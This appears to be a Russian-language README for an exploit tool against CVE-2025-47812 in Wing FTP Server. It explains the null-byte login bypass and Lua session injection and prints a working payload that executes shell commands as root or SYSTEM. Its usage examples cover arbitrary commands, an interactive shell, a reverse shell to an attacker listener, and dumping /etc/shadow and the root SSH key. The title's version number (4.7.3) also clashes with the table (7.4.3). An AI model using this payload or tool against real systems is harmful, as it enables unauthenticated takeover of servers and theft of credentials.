
RCE for WingFTP v4.7.3
██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗
██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗
██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝
██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝
╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║
╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
| Поле | Детали |
|---|---|
| CVE | CVE-2025-47812 |
| Затронутые версии | Wing FTP Server <= 7.4.3 |
| Исправлено в | Wing FTP Server 7.4.4 |
| CVSS | 10.0 (Критический) |
| Требуется аутентификация | Нет (достаточно анонимного входа) |
| Получаемые привилегии | root (Linux) / NT AUTHORITY\SYSTEM (Windows) |
| Обнаружено | Julien Ahrens (@MrTuxracer) — rcesecurity.com |
Веб-интерфейс Wing FTP Server уязвим для двухэтапной атаки удаленного выполнения кода без аутентификации.
Функция c_CheckUser() в бинарнике Wing FTP использует strlen() внутри, что обрезает строку имени пользователя до первого нулевого байта (\x00). Это означает, что имя пользователя типа anonymous%00<произвольные_данные> проходит аутентификацию, если anonymous (или любой другой валидный пользователь) существует.
После успешной аутентификации loginok.html вызывает rawset(_SESSION, "username", username), используя полный, неочищенный параметр POST — включая все после нулевого байта. Затем сессия сериализуется в файл скрипта Lua на диске через SessionModule.save().
Поскольку функция сериализации оборачивает строковые значения в литералы длинных строк Lua [[...]] без какой-либо санитизации, внедрение ]] в имя пользователя завершает строковый литерал досрочно, позволяя добавить произвольный Lua-код в файл сессии.
Структура полезной нагрузки:
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
Замыкающий -- закомментирует ]], который Wing FTP добавляет после значения.
Файл сессии (названный в соответствии со значением куки UID) является Lua-скриптом, который выполняется через loadfile() + f() при обращении к любой аутентифицированной конечной точке. Отправка POST /dir.html с кукой UID выполняет внедренный Lua-код и возвращает вывод команды в теле ответа, до содержимого <?xml.
requests, urllib3pip install -r requirements.txt
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
# Одиночная команда
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# Цель по IP (Wing FTP использует маршрутизацию по виртуальным хостам — укажите hostname с --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# Интерактивная псевдо-оболочка
python3 CVE-2025-47812.py http://ftp.target.com --shell
# Обратная оболочка (запустите nc-слушатель отдельно)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# Обратная оболочка со встроенным слушателем
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# Извлечение конфиденциальных файлов (/etc/passwd, /etc/shadow, Wing.cfg, корневой SSH-ключ)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# С неанонимными учетными данными
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
Обновите Wing FTP Server до версии 7.4.4 или новее.
Данный инструмент предоставляется только для образовательных целей и авторизованного тестирования на проникновение. Запуск этого эксплойта против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным и неэтичным. Автор не несет ответственности за любое неправомерное использование.